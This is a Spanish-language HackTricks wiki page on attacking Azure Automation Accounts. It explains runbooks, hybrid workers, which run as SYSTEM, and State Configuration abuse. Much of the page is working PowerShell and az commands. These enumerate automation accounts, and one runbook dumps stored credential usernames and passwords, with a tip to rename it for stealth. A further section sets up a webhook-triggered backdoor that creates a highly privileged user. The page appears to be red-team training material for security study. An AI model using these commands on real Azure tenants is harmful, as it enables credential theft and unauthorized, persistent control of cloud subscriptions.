Az - Automation Account

Aprende hacking de AWS de cero a héroe con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde la documentación: Azure Automation ofrece un servicio de automatización basado en la nube, actualizaciones del sistema operativo y configuración que admite una gestión consistente en tus entornos de Azure y no Azure. Incluye automatización de procesos, gestión de configuraciones, gestión de actualizaciones, capacidades compartidas y características heterogéneas.

Estos son como "tareas programadas" en Azure que te permitirán ejecutar cosas (acciones o incluso scripts) para gestionar, verificar y configurar el entorno de Azure.

Cuenta de Ejecución

Cuando se utiliza la Cuenta de Ejecución, se crea una aplicación de Azure AD con certificado autofirmado, se crea un principal de servicio y se asigna el rol de Contributor para la cuenta en la suscripción actual (muchos privilegios). Microsoft recomienda usar una Identidad Administrada para la Cuenta de Automatización.

Esto será eliminado el 30 de septiembre de 2023 y cambiado por Identidades Administradas.

Runbooks & Trabajos

Los Runbooks te permiten ejecutar código PowerShell arbitrario. Esto podría ser abusado por un atacante para robar los permisos del principal adjunto (si lo hay). En el código de los Runbooks también se pueden encontrar información sensible (como credenciales).

Si puedes leer los trabajos, hazlo ya que contienen la salida de la ejecución (información sensible potencial).

Ve a Cuentas de Automatización --> <Seleccionar Cuenta de Automatización> --> Runbooks/Trabajos/Grupos de trabajadores híbridos/Tareas de vigilancia/credenciales/variables/certificados/conexiones

Trabajador Híbrido

Un Runbook puede ejecutarse en un contenedor dentro de Azure o en un Trabajador Híbrido (máquina no Azure). El Agente de Log Analytics se implementa en la VM para registrarla como un trabajador híbrido. Los trabajos del trabajador híbrido se ejecutan como SYSTEM en Windows y como cuenta nxautomation en Linux. Cada Trabajador Híbrido se registra en un Grupo de Trabajadores Híbridos.

Por lo tanto, si puedes elegir ejecutar un Runbook en un Trabajador Híbrido de Windows, ejecutarás comandos arbitrarios dentro de una máquina externa como System (técnica de pivoteo interesante).

Compromiso de Configuración de Estado (SC)

Desde la documentación: Azure Automation State Configuration es un servicio de gestión de configuración de Azure que te permite escribir, gestionar y compilar configuraciones de PowerShell Desired State Configuration (DSC) configuraciones para nodos en cualquier nube o centro de datos local. El servicio también importa Recursos de DSC y asigna configuraciones a nodos objetivo, todo en la nube. Puedes acceder a Azure Automation State Configuration en el portal de Azure seleccionando Configuración de estado (DSC) bajo Gestión de configuración.

Se podría encontrar información sensible en estas configuraciones.

RCE

Es posible abusar de SC para ejecutar scripts arbitrarios en las máquinas administradas.

pageAz - State Configuration RCE

Enumeración

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Crear un Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Filtrar Credenciales y Variables definidas en una Cuenta de Automatización usando un Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Puedes hacer lo mismo modificando un Run Book existente, y desde la consola web.

Pasos para Configurar la Creación Automatizada de un Usuario Altamente Privilegiado

1. Inicializar una Cuenta de Automatización

  • Acción Requerida: Crear una nueva Cuenta de Automatización.

  • Configuración Específica: Asegúrate de que "Crear cuenta de Azure Run As" esté habilitado.

2. Importar y Configurar el Runbook

  • Fuente: Descarga el runbook de ejemplo desde el Repositorio de GitHub de MicroBurst.

  • Acciones Requeridas:

  • Importa el runbook en la Cuenta de Automatización.

  • Publica el runbook para hacerlo ejecutable.

  • Adjunta un webhook al runbook, habilitando disparadores externos.

3. Configurar el Módulo AzureAD

  • Acción Requerida: Agrega el módulo AzureAD a la Cuenta de Automatización.

  • Paso Adicional: Asegúrate de que todos los Módulos de Automatización de Azure estén actualizados a sus últimas versiones.

4. Asignación de Permisos

  • Roles a Asignar:

  • Administrador de Usuario

  • Propietario de la Suscripción

  • Objetivo: Asigna estos roles a la Cuenta de Automatización para los privilegios necesarios.

5. Conciencia de Posible Pérdida de Acceso

  • Nota: Ten en cuenta que configurar tal automatización podría llevar a perder el control sobre la suscripción.

6. Disparar la Creación de Usuario

  • Dispara el webhook para crear un nuevo usuario enviando una solicitud POST.

  • Utiliza el script de PowerShell proporcionado, asegurándote de reemplazar $uri con tu URL de webhook real y actualizando $AccountInfo con el nombre de usuario y contraseña deseados.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización